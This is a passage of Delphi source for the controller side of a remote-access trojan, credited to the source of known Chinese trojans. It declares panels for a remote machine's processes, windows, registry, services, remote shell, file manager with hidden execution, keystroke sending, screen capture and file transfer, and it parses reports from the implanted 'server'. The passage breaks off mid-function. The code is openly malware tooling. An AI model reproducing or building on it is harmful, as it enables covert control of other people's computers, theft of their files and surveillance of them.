unitformcontrol.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

unit UnitFormControl;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, CommCtrl,
  Dialogs, ComCtrls, XPMan, ImgList, Menus, ExtCtrls, StdCtrls, Buttons, ScktComp, Jpeg,
  UnitVariables, Spin, IdThreadMgr, IdThreadMgrDefault, IdAntiFreezeBase,
  IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPServer, UnitTransfer,zlibex,My_StreamManage,
  Gauges, DynamicSkinForm, SkinCtrls;

type
  TFormControl = class(TForm)
    DlgGuardar: TSaveDialog;
    PopupProcess: TPopupMenu;
    Cerrar1: TMenuItem;
    PopupWindows: TPopupMenu;
    Cerrar2: TMenuItem;
    Maximizar1: TMenuItem;
    Minimizar1: TMenuItem;
    Mostrar1: TMenuItem;
    Ocultar1: TMenuItem;
    Minimizartodas1: TMenuItem;
    PopupFileManager: TPopupMenu;
    EjecutarAbrir1: TMenuItem;
    Normal1: TMenuItem;
    Oculto1: TMenuItem;
    Eliminar: TMenuItem;
    Cambiarnombre1: TMenuItem;
    Crearnuevacarpeta1: TMenuItem;
    PopupRegistro: TPopupMenu;
    Nuevo1: TMenuItem;
    Clave1: TMenuItem;
    N2: TMenuItem;
    Valoralfanumrico1: TMenuItem;
    Valorbinerio1: TMenuItem;
    valorDWORD1: TMenuItem;
    Valordecadenamltiple1: TMenuItem;
    N3: TMenuItem;
    N1: TMenuItem;
    Eliminar1: TMenuItem;
    XPManifest: TXPManifest;
    StatusBar: TStatusBar;
    Enviarteclas1: TMenuItem;
    Descargarfichero1: TMenuItem;
    N4: TMenuItem;
    PopupDescargas: TPopupMenu;
    Subir1: TMenuItem;
    Bajar1: TMenuItem;
    Subiralprimerpuesto1: TMenuItem;
    ltimopuesto1: TMenuItem;
    Borrarcompletados1: TMenuItem;
    Eliminardescarga1: TMenuItem;
    Subirfichero1: TMenuItem;
    OpenDialogUpload: TOpenDialog;
    PopupShell: TPopupMenu;
    Activar2: TMenuItem;
    DlgFont: TFontDialog;
    DlgColors: TColorDialog;
    Desactivar2: TMenuItem;
    N5: TMenuItem;
    Guardarcmo1: TMenuItem;
    DetenerDescarga1: TMenuItem;
    ReanudarDescarga1: TMenuItem;
    Agregaracoladedescarga1: TMenuItem;
    IconsArchivos: TImageList;
    N6: TMenuItem;
    N7: TMenuItem;
    spDynamicSkinForm1: TspDynamicSkinForm;
    SaveDialog1: TSaveDialog;
    PopupService: TPopupMenu;
    Iniciar1: TMenuItem;
    DEtener1: TMenuItem;
    Desinstalar1: TMenuItem;
    Instalar1: TMenuItem;
    PageControl: TPageControl;
    TabServidor: TTabSheet;
    ListViewServidor: TListView;
    TabInfo: TTabSheet;
    ListViewInformacion: TListView;
    TabProcesos: TTabSheet;
    TabVentanas: TTabSheet;
    ListViewVentanas: TListView;
    TabRegistro: TTabSheet;
    LabelPathRegistro: TLabel;
    TreeViewRegedit: TTreeView;
    ListViewRegistro: TListView;
    TabServicios: TTabSheet;
    ListViewServicios: TListView;
    TabShell: TTabSheet;
    TabFileManager: TTabSheet;
    LabelNumeroDeArchivos: TLabel;
    LabelNumeroDeCarpetas: TLabel;
    ListViewArchivos: TListView;
    TreeView1: TTreeView;
    TabTransferencias: TTabSheet;
    Label1: TLabel;
    ListViewDescargas: TListView;
    TabScreencap: TTabSheet;
    ScrollBoxCapScreenM: TScrollBox;
    Mensajes: TTabSheet;
    LabelTituloMensaje: TLabel;
    EditTituloMensaje: TEdit;
    ListView4: TspSkinListView;
    processscroll: TspSkinScrollBar;
    Panel1: TPanel;
    BtnRefrescarProcesos: TSpeedButton;
    Panel2: TPanel;
    ComboBoxGestionDeServidor: TComboBox;
    BtnEnviarComandoServidor: TSpeedButton;
    BtnActualizarServidorInfo: TSpeedButton;
    Panel3: TPanel;
    Panel4: TPanel;
    Panel7: TPanel;
    Panel8: TPanel;
    BtnRefrescarInformacion: TSpeedButton;
    BtnRefrescarVentanas: TSpeedButton;
    Panel9: TPanel;
    BtnVerUnidades: TSpeedButton;
    LabelPathArchivos: TLabel;
    EditPathArchivos: TEdit;
    BtnActualizarArchivos: TSpeedButton;
    Panel10: TPanel;
    BtnCambiarFuenteShell: TSpeedButton;
    BtnCambiarColorShell: TSpeedButton;
    SpeedButton1: TSpeedButton;
    Panel11: TPanel;
    MultiEditInstalarServicio: TEdit;
    btnInstServicios2: TSpeedButton;
    BtnCancelarInstalarServicio: TSpeedButton;
    BtnServicios: TSpeedButton;
    EditPathRegistro: TEdit;
    BtnVerRegisto: TSpeedButton;
    BtnEnviarMensaje: TSpeedButton;
    Panel13: TPanel;
    GrpBoxTipoMensaje: TGroupBox;
    ImgError: TImage;
    ImgAsterisk: TImage;
    ImgWarning: TImage;
    ImgInfo: TImage;
    RdBtnError: TRadioButton;
    RdBtnPregunta: TRadioButton;
    RdBtnExclamacion: TRadioButton;
    RdBtnInfo: TRadioButton;
    RdBtnVacio: TRadioButton;
    RdGrpBotonesMensaje: TRadioGroup;
    Panel14: TPanel;
    MemoMensaje: TMemo;
    Label2: TLabel;
    Panel15: TPanel;
    Label4: TLabel;
    Image1: TImage;
    Panel6: TPanel;
    Panel12: TPanel;
    SpeedButton3: TSpeedButton;
    SpeedButton4: TSpeedButton;
    SpeedButton2: TSpeedButton;
    MemoShell: TMemo;
    Edit1: TEdit;
    Label3: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure BtnRefrescarProcesosClick(Sender: TObject);
    procedure BtnRefrescarVentanasClick(Sender: TObject);
//    procedure cmbUnidadesSelect(Sender: TObject);
    procedure ListViewArchivosDblClick(Sender: TObject);
    procedure Cerrar1Click(Sender: TObject);
    procedure Cerrar2Click(Sender: TObject);
    procedure Maximizar1Click(Sender: TObject);
    procedure Minimizar1Click(Sender: TObject);
    procedure Mostrar1Click(Sender: TObject);
    procedure Ocultar1Click(Sender: TObject);
    procedure Minimizartodas1Click(Sender: TObject);
    procedure Normal1Click(Sender: TObject);
    procedure Oculto1Click(Sender: TObject);
    procedure EliminarClick(Sender: TObject);
    procedure Cambiarnombre1Click(Sender: TObject);
    procedure Crearnuevacarpeta1Click(Sender: TObject);
    procedure BtnRefrescarInformacionClick(Sender: TObject);
    procedure BtnActualizarArchivosClick(Sender: TObject);

    procedure BtnVerUnidadesClick(Sender: TObject);
    procedure TreeViewRegeditDblClick(Sender: TObject);
    procedure TreeViewRegeditChange(Sender: TObject; Node: TTreeNode);
    procedure BtnVerRegistoClick(Sender: TObject);
    procedure N1Click(Sender: TObject);
    procedure ListViewRegistroEdited(Sender: TObject; Item: TListItem;
      var S: String);
    procedure Eliminar1Click(Sender: TObject);
    procedure Valoralfanumrico1Click(Sender: TObject);
    procedure TreeViewRegeditContextPopup(Sender: TObject;
      MousePos: TPoint; var Handled: Boolean);
    procedure ListViewRegistroContextPopup(Sender: TObject;
      MousePos: TPoint; var Handled: Boolean);
    procedure Clave1Click(Sender: TObject);
    procedure ListViewArchivosContextPopup(Sender: TObject;
      MousePos: TPoint; var Handled: Boolean);
    procedure ListViewArchivosEdited(Sender: TObject; Item: TListItem;
      var S: String);
    procedure Valorbinerio1Click(Sender: TObject);
    procedure valorDWORD1Click(Sender: TObject);
    procedure Valordecadenamltiple1Click(Sender: TObject);
    procedure BtnEnviarMensajeClick(Sender: TObject);

//    procedure BtnCapturarScreen1Click(Sender: TObject);
    procedure Enviarteclas1Click(Sender: TObject);

  
    procedure BtnActualizarServidorInfoClick(Sender: TObject);
    procedure BtnEnviarComandoServidorClick(Sender: TObject);


    procedure Descargarfichero1Click(Sender: TObject);
    procedure Borrarcompletados1Click(Sender: TObject);
    procedure ListViewDescargasContextPopup(Sender: TObject;
      MousePos: TPoint; var Handled: Boolean);
    procedure ListViewDescargasCustomDrawSubItem(Sender: TCustomListView;
      Item: TListItem; SubItem: Integer; State: TCustomDrawState;
      var DefaultDraw: Boolean);
    procedure Eliminardescarga1Click(Sender: TObject);
    procedure Subiralprimerpuesto1Click(Sender: TObject);
    procedure Subir1Click(Sender: TObject);
    procedure Bajar1Click(Sender: TObject);
    procedure ltimopuesto1Click(Sender: TObject);
    procedure Subirfichero1Click(Sender: TObject);
    procedure Activar2Click(Sender: TObject);
    procedure ComboBoxShellCommandKeyPress(Sender: TObject; var Key: Char);
    procedure BtnCambiarFuenteShellClick(Sender: TObject);
    procedure BtnCambiarColorShellClick(Sender: TObject);
    procedure PopupShellPopup(Sender: TObject);
    procedure Desactivar2Click(Sender: TObject);
    procedure Guardarcmo1Click(Sender: TObject);
    procedure BtnServiciosClick(Sender: TObject);
    procedure DEtener1Click(Sender: TObject);
    procedure Iniciar1Click(Sender: TObject);
    procedure Desinstalar1Click(Sender: TObject);
    procedure Instalar1Click(Sender: TObject);
    procedure BtnCancelarInstalarServicioClick(Sender: TObject);
    procedure btnSiguienteInstalarServicioClick(Sender: TObject);
    procedure btnInstServiciosClick(Sender: TObject);
    procedure btnInstServicios2Click(Sender: TObject);
    procedure PopupDescargasPopup(Sender: TObject);
    procedure DetenerDescarga1Click(Sender: TObject);
    procedure ReanudarDescarga1Click(Sender: TObject);
//    procedure ObtenerScreenCap_CamCap(AThread: TIdPeerThread; filesize:int64);
    procedure Agregaracoladedescarga1Click(Sender: TObject);
    procedure EditPathArchivosKeyPress(Sender: TObject; var Key: Char);
    procedure ListViewProcesosColumnClick(Sender: TObject;
      Column: TListColumn);
    procedure ListViewProcesosCompare(Sender: TObject; Item1,
      Item2: TListItem; Data: Integer; var Compare: Integer);
    procedure ListViewRegistroCompare(Sender: TObject; Item1,
      Item2: TListItem; Data: Integer; var Compare: Integer);
    procedure ListViewArchivosCompare(Sender: TObject; Item1,
      Item2: TListItem; Data: Integer; var Compare: Integer);
    procedure Iralproceso1Click(Sender: TObject);
      procedure CheckBoxAutoCapturaScreenClick(Sender: TObject);
    procedure Button1Click(Sender: TObject);
        procedure ShowPicWorkBegin(Sender: TObject;
      AWorkMode: TWorkMode; const AWorkCountMax: integer);
    procedure ShowPicWorkEnd(Sender: TObject;
      AWorkMode: TWorkMode);
    procedure ShowPicWork(Sender: TObject;
      AWorkMode: TWorkMode; const AWorkCount: integer);
    procedure ListBox1DblClick(Sender: TObject);
    procedure SpeedButton3Click(Sender: TObject);
   private
    Servidor: TIdPeerThread;
    RecibiendoFichero : Boolean;
    NombreSI, DescripcionSI, RutaSI:string;
    Columna, ColumnaOrdenada: Integer;
    function ObtenerRutaAbsolutaDeArbol(Nodo: TTreeNode): String;
    function IconNum(strExt: String): Integer;
    procedure AniadirClavesARegistro(Claves: String);
    procedure AniadirValoresARegistro(Valores: String);
//    procedure UpdateProgressBarScreen;
    procedure TransferFinishedNotification(Sender:TObject);
  public
    constructor Create(aOwner: TComponent; AThread: TIdPeerThread);overload;
    procedure OnRead(command: String; AThread: TIdPeerThread); overload;
    procedure OnReadFile(AThread: TIdPeerThread);overload;

  end;

var
  FormControl: TFormControl;
  pctProgressBarScreen: integer;
  GenericBar: TProgressBar;
  TVTOThread:TIdPeerThread;
  FDoubleBuffer :Tbitmap;
  disk:integer=0;
  num:integer=0;
  downpath:string;
  Vstop:bool=true;
  const
  EOL=#13+#10;
  Procedure ResumeStream(MyFirstStream,MySecondStream:Tmemorystream);
  procedure MyDeCompress(AStream: TStream);
implementation

uses
  UnitMain, UnitFormReg,  UnitFormSendKeys, UnitFunciones, ShowPic;

{$R *.dfm}


constructor TFormControl.Create(aOwner: TComponent; AThread: TIdPeerThread);
begin
  inherited Create(aOwner);
  Servidor := AThread;
end;

procedure TFormControl.FormCreate(Sender: TObject);
begin
  RecibiendoFichero := False;
  FDoubleBuffer := Tbitmap.Create;
end;

procedure TFormControl.OnRead(command: String; AThread: TIdPeerThread);
var
  Recibido, TempStr: String;
  Item: TListItem;
  i, a,J: Integer;
  RealSize:String;
    Tmp: TTreeNode;
      Tmpmemo: TStringList;
        TheLItem: TListItem;
begin
  Recibido := Command;
 If Recibido = 'CONNECTED' then Exit;
 If Pos('CONNECTED', Recibido) > 0 then
  Delete(Recibido, Pos('CONNECTED', Recibido), Length('CONNECTED'));

  if Copy(Recibido, 1, 4) = 'INFO' then  //服务端系统信息
  begin
    Delete(Recibido, 1, 5);  //
    for i := 0 to 9 do  //10 items
    begin
      if i = 9 then  //
      try
        ListViewInformacion.Items[i].SubItems[0] := ObtenerMejorUnidad(StrToInt64(Copy(Recibido, 1, Pos('|', Recibido) - 1)))
      except
      end

      else
      try
        ListViewInformacion.Items[i].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
      except
      end;
      Delete(Recibido, 1, Pos('|', Recibido));
    end;
  end;

  //服务端
  if Copy(Recibido, 1, 8) = 'SERVIDOR' then
  begin
    Delete(Recibido, 1, 9);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido)-1); //Saca el comando
    Delete(Recibido, 1, Pos('|', Recibido));
    //服务端信息
    if TempStr = 'INFO' then
    begin

      with ListViewServidor do
      begin
        //版本
        try
        Items[0].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
        except
        end;
        Delete(Recibido, 1, Pos('|', Recibido));
        //识别标记
        try
        Items[1].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
        except
        end;
        Delete(Recibido, 1, Pos('|', Recibido));
        for i := 3 to 5 do
        begin
         try
          //IP, port, 检测间隔
          Items[i].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
        except
        end;
          Delete(Recibido, 1, Pos('|', Recibido));
        end;

        //服务端进程路径
        try
        Items[7].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
        except
        end;
        Delete(Recibido, 1, Pos('|', Recibido))
      end;
    end;
  end;

  //列举进程
  if Copy(Recibido, 1, 4) = 'PROC' then
  begin
    ListView4.Clear;
    Delete(Recibido, 1, 5);
    while pos('|', Recibido) > 0 do
    begin
      try
      Item := ListView4.Items.Add;
      except
      end;
      try
      Item.Caption := Copy(Recibido, 1, Pos('|', Recibido) - 1);
      except
      end;
      Delete(Recibido, 1, Pos('|', Recibido));
      try
      Item.SubItems.Add(Copy(Recibido, 1, Pos('|', Recibido) - 1));
      except
      end;
      Delete(Recibido, 1, Pos('|', Recibido));
      try
      Item.SubItems.Add(Copy(Recibido, 1, Pos('|', Recibido) - 1));
      except
      end;
      Delete(Recibido, 1, Pos('|', Recibido));